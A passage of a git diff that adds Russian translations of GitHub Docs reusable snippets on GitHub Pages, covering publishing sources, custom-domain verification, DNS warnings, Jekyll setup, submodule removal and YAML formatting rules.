variables.product.prodname_pages %}](/articles/about-github-pages#types-of-github-pages-sites). diff --git a/translations/ru-RU/data/reusables/pages/emu-org-only.md b/translations/ru-RU/data/reusables/pages/emu-org-only.md new file mode 100644 index 000000000000..fb1844ee1781 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/emu-org-only.md @@ -0,0 +1,7 @@ +{% ifversion ghec %} +{% note %} + +**Note:** If you're a {% data variables.enterprise.prodname_managed_user %}, you can only publish {% data variables.product.prodname_pages %} sites from repositories owned by organizations. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)." + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/enforce-https-custom-domain.md b/translations/ru-RU/data/reusables/pages/enforce-https-custom-domain.md new file mode 100644 index 000000000000..04ef3eaccaec --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/enforce-https-custom-domain.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f7a89b495d2bc3a4428cc9c02989680f227ee1c8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121675" +--- +1. При необходимости, чтобы применить шифрование HTTPS для сайта, выберите **Принудительно использовать HTTPS**. Этот параметр может стать доступным в течение 24 часов. Дополнительные сведения см. в разделе [Защита сайта {% data variables.product.prodname_pages %} с помощью HTTPS](/articles/securing-your-github-pages-site-with-https). + ![Функция принудительного применения протокола HTTPS для личных доменов](/assets/images/help/pages/enforce-https-custom-domains.png) diff --git a/translations/ru-RU/data/reusables/pages/jekyll-install-troubleshooting.md b/translations/ru-RU/data/reusables/pages/jekyll-install-troubleshooting.md new file mode 100644 index 000000000000..bcbed8018899 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/jekyll-install-troubleshooting.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 9bf963bce75ecf98764b3005dbf517c2df817494 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145121672" +--- +{% mac %} + +{% tip %} + +**Совет.** Если при попытке установить Jekyll с помощью Средства связывания программ в пакеты возникает ошибка Ruby, может потребоваться использовать диспетчер пакетов, например [RVM](https://rvm.io/) или [Homebrew](http://brew.sh/) для управления установкой Ruby. Дополнительные сведения см. в статье [Устранение неполадок](https://jekyllrb.com/docs/troubleshooting/#jekyll--macos) в документации по Jekyll. + +{% endtip %} + +{% endmac %} diff --git a/translations/ru-RU/data/reusables/pages/must-have-repo-first.md b/translations/ru-RU/data/reusables/pages/must-have-repo-first.md new file mode 100644 index 000000000000..c848f8236476 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/must-have-repo-first.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d28656bfc5f1e7c95ae1b07893dbd2297e36e4c1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121627" +--- +Перед созданием сайта необходимо иметь репозиторий для сайта на {% data variables.product.product_name %}. Если вы создаете сайт не в существующем репозитории, см. инструкции в статье [Создание репозитория для сайта](#creating-a-repository-for-your-site). diff --git a/translations/ru-RU/data/reusables/pages/navigate-publishing-source.md b/translations/ru-RU/data/reusables/pages/navigate-publishing-source.md new file mode 100644 index 000000000000..a0cc3940c111 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/navigate-publishing-source.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 503f4791bd0c78019153c8691e1927701f8fc44f +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147428319" +--- +1. Перейдите к источнику публикации для сайта. Дополнительные сведения см. в статье "[Настройка источника публикации для сайта GitHub Pages](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)". diff --git a/translations/ru-RU/data/reusables/pages/navigate-site-repo.md b/translations/ru-RU/data/reusables/pages/navigate-site-repo.md new file mode 100644 index 000000000000..7f4a1f45b9e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/navigate-site-repo.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 672690e0efedd330e8f1c8d940d50c528a193e55 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121619" +--- +1. В {% data variables.product.product_name %}перейдите в репозиторий сайта. diff --git a/translations/ru-RU/data/reusables/pages/new-or-existing-repo.md b/translations/ru-RU/data/reusables/pages/new-or-existing-repo.md new file mode 100644 index 000000000000..294690de1800 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/new-or-existing-repo.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 33f427d38193ad14c5df35ebab14bd08208c08e0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109512" +--- +Для сайта можно создать новый репозиторий или выбрать существующий. + +Если необходимо создать сайт {% data variables.product.prodname_pages %} для репозитория, в котором не все файлы имеют отношение к сайту, можно настроить источник публикации. Например, вы можете иметь выделенную ветвь и папку для хранения исходных файлов {% ifversion pages-custom-workflow %}, или использовать пользовательский рабочий процесс {% data variables.product.prodname_actions %} для создания и развертывания исходных файлов сайта. {% data reusables.actions.settings-ui.settings-actions-pages-custom-workflow %} {% else %}файлы. {% endif %} + +{% ifversion fpt or ghec %}Если учетная запись, которой принадлежит репозиторий, использует {% data variables.product.prodname_free_user %} или {% data variables.product.prodname_free_team %} для организаций, репозиторий должен быть общедоступным.{% endif %} + + Чтобы создать сайт в существующем репозитории, перейдите к разделу [Создание сайта](#creating-your-site). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/pages/no_sensitive_data_pages.md b/translations/ru-RU/data/reusables/pages/no_sensitive_data_pages.md new file mode 100644 index 000000000000..97e4ac75a1b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/no_sensitive_data_pages.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e7d43a8eaf48299f3058537021d9e47f15b7b244 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884344" +--- +Сайты {% data variables.product.prodname_pages %} не должны использоваться для конфиденциальных транзакций, таких как отправка паролей или номеров кредитных карт. diff --git a/translations/ru-RU/data/reusables/pages/org-owners-can-restrict-pages-creation.md b/translations/ru-RU/data/reusables/pages/org-owners-can-restrict-pages-creation.md new file mode 100644 index 000000000000..40d2a8255976 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/org-owners-can-restrict-pages-creation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 903315674c75be98b283ea361373d6e62b169497 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884336" +--- +{% ifversion fpt or ghes or ghec %} {% note %} + +**Примечание.** Владельцы организации могут ограничить публикацию сайтов {% data variables.product.prodname_pages %} из репозиториев, принадлежащих организации. Дополнительные сведения см. в разделе [Управление публикацией сайтов {% data variables.product.prodname_pages %}](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/pages/pages-about-branch-source.md b/translations/ru-RU/data/reusables/pages/pages-about-branch-source.md new file mode 100644 index 000000000000..d0f47341918c --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/pages-about-branch-source.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dd467218337fb081d2663f7433a9ab6ef608c726 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147428448" +--- +Можно указать, какую ветвь и папку следует использовать в качестве источника публикации. Исходной ветвью может стать любая ветвь репозитория, а исходной папкой может быть либо корень репозитория (`/`), либо папка `/docs` в исходной ветви. После отправки изменений в исходную ветвь изменения в исходной папке будут опубликованы на вашем сайте {% data variables.product.prodname_pages %}. diff --git a/translations/ru-RU/data/reusables/pages/pages-about-publishing-source.md b/translations/ru-RU/data/reusables/pages/pages-about-publishing-source.md new file mode 100644 index 000000000000..14b7f1cb74f2 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/pages-about-publishing-source.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: f46fcf5de23b55285d402b93bd89b0155e1224e7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109159" +--- +{% ifversion pages-custom-workflow %} + +Сайт можно публиковать при отправке изменений в определенную ветвь, а также с помощью рабочего процесса {% data variables.product.prodname_actions %}. {% data reusables.actions.settings-ui.settings-actions-pages-custom-workflow %} + +Если вам не нужно управлять сборкой сайта, рекомендуется публиковать сайт, когда изменения отправляются в определенную ветвь. {% data reusables.pages.pages-about-branch-source %} + +Если вы хотите использовать сборку, отличную от Jekyll, или не хотите хранить скомпилированные статические файлы в выделенной ветви, рекомендуется создать рабочий процесс {% data variables.product.prodname_actions %} для публикации сайта. {% data variables.product.product_name %} предоставляет начальные рабочие процессы для распространенных сценариев публикации, чтобы помочь вам в создании рабочего процесса. + +{% else %} + +Ваш сайт {% data variables.product.prodname_pages %} будет публиковаться при каждой отправке изменений в определенную ветвь. {% data reusables.pages.pages-about-branch-source %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/pages/pages-custom-workflow-beta.md b/translations/ru-RU/data/reusables/pages/pages-custom-workflow-beta.md new file mode 100644 index 000000000000..848a3b69ea52 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/pages-custom-workflow-beta.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: a231b3c0bf02051ba3593f5dd04ac7fdf5506ea7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109431" +--- +{% ifversion pages-custom-workflow %} + +{% note %} + +Примечание. Публикация сайта {% data variables.product.prodname_pages %} с помощью пользовательского рабочего процесса {% data variables.product.prodname_actions %} находится в бета-версии и может измениться. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/private_pages_are_public_warning.md b/translations/ru-RU/data/reusables/pages/private_pages_are_public_warning.md new file mode 100644 index 000000000000..d3cf10b2e66a --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/private_pages_are_public_warning.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: c3e82ab5103e82750cfec55553865b4f874d4f8f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880560" +--- +{% warning %} + +{% ifversion fpt %} **Предупреждение**. Сайты {% data variables.product.prodname_pages %} находятся в открытом доступе, даже если репозиторий для сайта является частным. Если в репозитории вашего сайта есть конфиденциальные данные, удалите их перед публикацией. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). +{% elsif ghec %} **Предупреждение.** Если ваше предприятие не использует {% data variables.product.prodname_emus %}, сайты {% data variables.product.prodname_pages %} по умолчанию находятся в открытом доступе, даже если репозиторий для сайта является частным или внутренним. Для публикации сайта с закрытым доступом используйте управление доступом. Либо, если в репозитории вашего сайта есть конфиденциальные данные, удалите их перед публикацией. Дополнительные сведения см. в разделах [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility) и [Изменение видимости сайта {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site). +{% elsif ghae %} **Предупреждение**. Сайты {% data variables.product.prodname_pages %} видны всем участникам предприятия, даже если репозиторий для сайта является частным. Если в репозитории вашего сайта есть конфиденциальные данные, удалите их перед публикацией. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). +{% elsif ghes %} **Предупреждение.** Если администратор сайта включил "Общедоступные страницы", сайты {% data variables.product.prodname_pages %} по умолчанию находятся в открытом доступе, даже если репозиторий для сайта является частным или внутренним. Если в репозитории вашего сайта есть конфиденциальные данные, удалите их перед публикацией. Дополнительные сведения см. в разделах [Настройка {% data variables.product.prodname_pages %} для организации](/admin/configuration/configuring-github-pages-for-your-enterprise#enabling-public-sites-for-github-pages) и [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). +{% endif %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/pages/privately-publish-ghec-only.md b/translations/ru-RU/data/reusables/pages/privately-publish-ghec-only.md new file mode 100644 index 000000000000..0f5513e8a989 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/privately-publish-ghec-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0e3fb22cc1bd91281a459473843cf40820d9f94d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147067373" +--- +{% note %} + +**Примечание.** Для публикации сайта {% data variables.product.prodname_pages %} в конфиденциальном режиме ваша организация должна использовать {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/pages/recommend-bundler.md b/translations/ru-RU/data/reusables/pages/recommend-bundler.md new file mode 100644 index 000000000000..4d721609dc79 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/recommend-bundler.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 119dcaf20e07fe3c0f8d5c03245e6fc1b76a7a2f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145121592" +--- +Мы рекомендуем использовать [Средство увязки программ в пакеты](http://bundler.io/) для установки и запуска Jekyll. Средство увязки программ в пакеты управляет зависимостями Ruby, уменьшает ошибки сборки Jekyll и предотвращает ошибки, связанные со средой. Чтобы установить Средство увязки программ в пакеты, выполните следующие действия. + + 1. Установите Ruby. Дополнительные сведения см. в разделе [Установка Ruby](https://www.ruby-lang.org/en/documentation/installation/) документации по Ruby. + 2. Установка Средства увязки программ в пакеты. Дополнительную информацию см. в разделе [Средство увязки программ в пакеты](https://bundler.io/). diff --git a/translations/ru-RU/data/reusables/pages/remove-submodule.md b/translations/ru-RU/data/reusables/pages/remove-submodule.md new file mode 100644 index 000000000000..a4a962d0521a --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/remove-submodule.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: bdb353e5425d7c6bbb7488c1cea8803cf72646da +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009151" +--- +Чтобы устранить неполадки, сначала определите, хотите ли вы использовать субмодуль, который является проектом Git внутри проекта Git; субмодули иногда создаются непреднамеренно. + +Если вы не хотите использовать субмодуль, удалите его и замените PATH-TO-SUBMODULE на путь к субмодулю: +```shell +$ git submodule deinit PATH-TO-SUBMODULE +$ git rm PATH-TO-SUBMODULE +$ git commit -m "Remove submodule" +$ rm -rf .git/modules/PATH-TO-SUBMODULE +``` diff --git a/translations/ru-RU/data/reusables/pages/search-for-includes.md b/translations/ru-RU/data/reusables/pages/search-for-includes.md new file mode 100644 index 000000000000..6291352d799c --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/search-for-includes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4eaec847ac9a22842231700979da060993a73126 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121544" +--- +Чтобы устранить неполадки, найдите файл в сообщении об ошибке для `include` и посмотрите, где были созданы ссылки на другие файлы, например {% raw %}`{% include example_header.html %}`{% endraw %}. diff --git a/translations/ru-RU/data/reusables/pages/secure-your-domain.md b/translations/ru-RU/data/reusables/pages/secure-your-domain.md new file mode 100644 index 000000000000..6f6774294a71 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/secure-your-domain.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c32095fa49627698da6e8bb888409fec2cda2d4b +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879197" +--- +Если ваш сайт {% data variables.product.prodname_pages %} отключен, но для него настроен личный домен, существует риск перехвата домена. Если личный домен настраивался с использованием поставщика DNS пока как ваш сайт отключен, это может привести к тому, что другой пользователь разместит сайт в одном из ваших поддоменов. + +Проверка вашего личного домена запрещает другим пользователям GitHub использовать ваш домен со своими репозиториями. Если домен не проверен и ваш сайт {% data variables.product.prodname_pages %} отключен, необходимо немедленно обновить или удалить записи DNS с помощью поставщика DNS. diff --git a/translations/ru-RU/data/reusables/pages/settings-verify-domain-confirm.md b/translations/ru-RU/data/reusables/pages/settings-verify-domain-confirm.md new file mode 100644 index 000000000000..5cd24e5dd266 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/settings-verify-domain-confirm.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ccccce25b53675ad01a9246d3f99c9311d4e4507 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121536" +--- +1. После проверки обновления конфигурации DNS вы можете проверить домен. Если изменение применено не сразу и вы уже ушли с предыдущей страницы, вернитесь в раздел параметров страниц, выполнив первые несколько шагов и справа от домена нажмите {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, а затем нажмите **Продолжить проверку**. + ![Продолжить проверку параметра в разделе параметров страниц](/assets/images/help/pages/verify-continue.png) +1. Чтобы проверить домен, нажмите кнопку **Проверить**. + ![Кнопка "Проверить" в разделе "Параметры страниц"](/assets/images/help/pages/verify-button.png) +1. Чтобы убедиться, что личный домен остается проверенным, сохраните текстовую запись в конфигурации DNS вашего домена. diff --git a/translations/ru-RU/data/reusables/pages/settings-verify-domain-setup.md b/translations/ru-RU/data/reusables/pages/settings-verify-domain-setup.md new file mode 100644 index 000000000000..86f78faa28c9 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/settings-verify-domain-setup.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: c7b1fff2c96137b3deec711f88676546c2cb1305 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878973" +--- +1. Справа нажмите кнопку **Добавить домен**. + ![Кнопка "Добавить домен" в разделе "Параметры страниц"](/assets/images/help/pages/verify-add-domain.png) +1. В разделе "Какой домен вы хотите добавить?", введите домен, который вы хотите проверить, и нажмите кнопку **Добавить домен**. + ![Текстовое поле домена и кнопка "Добавить домен" в разделе "Параметры страниц"](/assets/images/help/pages/verify-enter-domain.png) +1. Следуйте инструкциям в разделе "Добавление DNS-записи в текстовом формате", чтобы создать текстовую запись с помощью службы размещения доменов. + ![Сведения о записи DNS в текстовом формате в разделе "Параметры страниц"](/assets/images/help/pages/verify-dns.png) diff --git a/translations/ru-RU/data/reusables/pages/sidebar-pages.md b/translations/ru-RU/data/reusables/pages/sidebar-pages.md new file mode 100644 index 000000000000..51f755936dca --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/sidebar-pages.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghes > 3.4 or ghec or ghae > 3.4 %} +1. In the "Code and automation" section of the sidebar, click **{% octicon "browser" aria-label="The browser icon" %} Pages**. +{% else %} +1. In the left sidebar, click **Pages**. + ![Page tab in the left-hand sidebar](/assets/images/help/pages/pages-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/test-locally.md b/translations/ru-RU/data/reusables/pages/test-locally.md new file mode 100644 index 000000000000..5e7b7dc79bf8 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/test-locally.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 50290ff8820c78762dd3440b837c6bd678fbcd09 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147428280" +--- +{% ifversion pages-custom-workflow %}Если публикация выполняется из ветви, изменения{% else %}Изменения{% endif %} на сайте публикуются автоматически при слиянии изменений в источнике публикации сайта. {% ifversion pages-custom-workflow %}Если публикация выполняется с помощью пользовательского рабочего процесса {% data variables.product.prodname_actions %}, изменения публикуются при каждой активации рабочего процесса (обычно за счет отправки в ветвь по умолчанию). {% endif %}Для предварительного просмотра изменений можно внести их локально, а не в {% data variables.product.product_name %}. Затем протестируйте сайт локально. Дополнительные сведения см. в разделе [Локальное тестирование сайта {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll). diff --git a/translations/ru-RU/data/reusables/pages/theme-customization-help.md b/translations/ru-RU/data/reusables/pages/theme-customization-help.md new file mode 100644 index 000000000000..e50ab2e8e6be --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/theme-customization-help.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9357298dedeb96204b59ce5967e2a7d95a693039 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121520" +--- +Исходный репозиторий темы может помочь в настройке темы. Примеры приведены в разделе [Файл сведений о _Minima_](https://github.com/jekyll/minima#customizing-templates). diff --git a/translations/ru-RU/data/reusables/pages/twenty-minutes-to-publish.md b/translations/ru-RU/data/reusables/pages/twenty-minutes-to-publish.md new file mode 100644 index 000000000000..4b7b8947f7a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/twenty-minutes-to-publish.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d5f0b63efc3000192e703896b54ff26d6abc8c4e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145121515" +--- +**Примечание.** Публикация изменений на сайте после передачи изменений в {% data variables.product.product_name %} может занять до 10 минут. Если через час изменения сайта {% data variables.product.prodname_pages %} все еще не отображаются в браузере, см. раздел [Сведения об ошибках сборки Jekyll для сайтов {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites). diff --git a/translations/ru-RU/data/reusables/pages/update_your_dns_settings.md b/translations/ru-RU/data/reusables/pages/update_your_dns_settings.md new file mode 100644 index 000000000000..2c656549ed4e --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/update_your_dns_settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e4b3bd736b1347747b118af17d8652cb1d91e3bd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121512" +--- +{% ifversion fpt or ghec %}1. Если для сайта включен личный домен, чтобы избежать переключений домена, обновите параметры DNS. Дополнительные сведения см. в разделе [Настройка личного домена для сайта {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site).{% endif %} diff --git a/translations/ru-RU/data/reusables/pages/visit-site.md b/translations/ru-RU/data/reusables/pages/visit-site.md new file mode 100644 index 000000000000..2430914c6d3b --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/visit-site.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: e089f0f8ca2a1058b5c168a1fc06a63c78d1333c +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887137" +--- +1. Чтобы просмотреть опубликованный сайт, в разделе {% data variables.product.prodname_pages %} щелкните URL-адрес своего сайта. +![URL-адрес опубликованного сайта](/assets/images/help/pages/click-pages-url-to-preview.png) + + {% note %} + + {% data reusables.pages.twenty-minutes-to-publish %} + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/pages/wildcard-dns-warning.md b/translations/ru-RU/data/reusables/pages/wildcard-dns-warning.md new file mode 100644 index 000000000000..613a62e9a194 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/wildcard-dns-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8407ed8c868c64bd37dddf244e0721ea9b49d687 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879213" +--- +{% warning %} + +**Предупреждение.** Настоятельно рекомендуется не использовать DNS-записи с подстановочными знаками, например `*.example.com`. DNS-запись с подстановочными знаками позволяет любому пользователю размещать сайт {% data variables.product.prodname_pages %} в одном из поддоменов, даже если он подтвержден. Дополнительные сведения см. в разделе [Подтверждение личного домена для {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/pages/www-and-apex-domain-recommendation.md b/translations/ru-RU/data/reusables/pages/www-and-apex-domain-recommendation.md new file mode 100644 index 000000000000..b8eed79885be --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/www-and-apex-domain-recommendation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9007a7541d3ee57656a975af1bf430673c796d09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121459" +--- +Если вы используете домен вершины в качестве личного домена, рекомендуется также настроить поддомен `www`. Если вы настроите правильные записи для каждого типа домена с помощью поставщика DNS, {% data variables.product.prodname_pages %} автоматически создаст перенаправления между доменами. Например, если вы настраиваете `www.example.com` в качестве личного домена для сайта, а у вас есть записи DNS {% data variables.product.prodname_pages %}, настроенные для вершины и доменов `www`, то `example.com` выполняет перенаправление в `www.example.com`. Обратите внимание, что автоматические перенаправления применяются только к поддомену `www`. Автоматические перенаправления не применяются к другим поддоменам, таким как `blog`. diff --git a/translations/ru-RU/data/reusables/pages/yaml-linter.md b/translations/ru-RU/data/reusables/pages/yaml-linter.md new file mode 100644 index 000000000000..e996c11f2650 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/yaml-linter.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 57321a60ada06b71a54fc1e7aed2167299ecfe54 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121456" +--- +Для обнаружения ошибок можно скопировать и вставить содержимое файла YAML в анализаторе кода YAML, например, [проверяющий элемент управления YAML](http://codebeautify.org/yaml-validator). diff --git a/translations/ru-RU/data/reusables/pages/yaml-rules.md b/translations/ru-RU/data/reusables/pages/yaml-rules.md new file mode 100644 index 000000000000..788b2431c3c3 --- /dev/null +++ b/translations/ru-RU/data/reusables/pages/yaml-rules.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2a1448655ea7be5a5e420c0e815404340eb1ca5d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145121451" +--- +- Использование пробелов вместо символов табуляции +- Включите пробел после `:` для каждой пары «ключ-значение», например `timezone: Africa/Nairobi`. +- Используйте только символы UTF-8. +- Кавычки и специальные знаки, такие как `:`, например, `title: "my awesome site: an adventure in parse errors"`. +- Для многострочных значений используйте `|` для создания новых строк и `>`, чтобы пропускать новые строки. diff --git a/translations/ru-RU/data/reusables/policies/abuse.md b/translations/ru-RU/data/reusables/policies/abuse.md new file mode 100644 index 000000000000..40f3453f2b55 --- /dev/null +++ b/translations/ru-RU/data/reusables/policies/abuse.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87d35740b9dcc3249a1132ea172a5e0727bb4c02 +ms.sourcegitcommit: 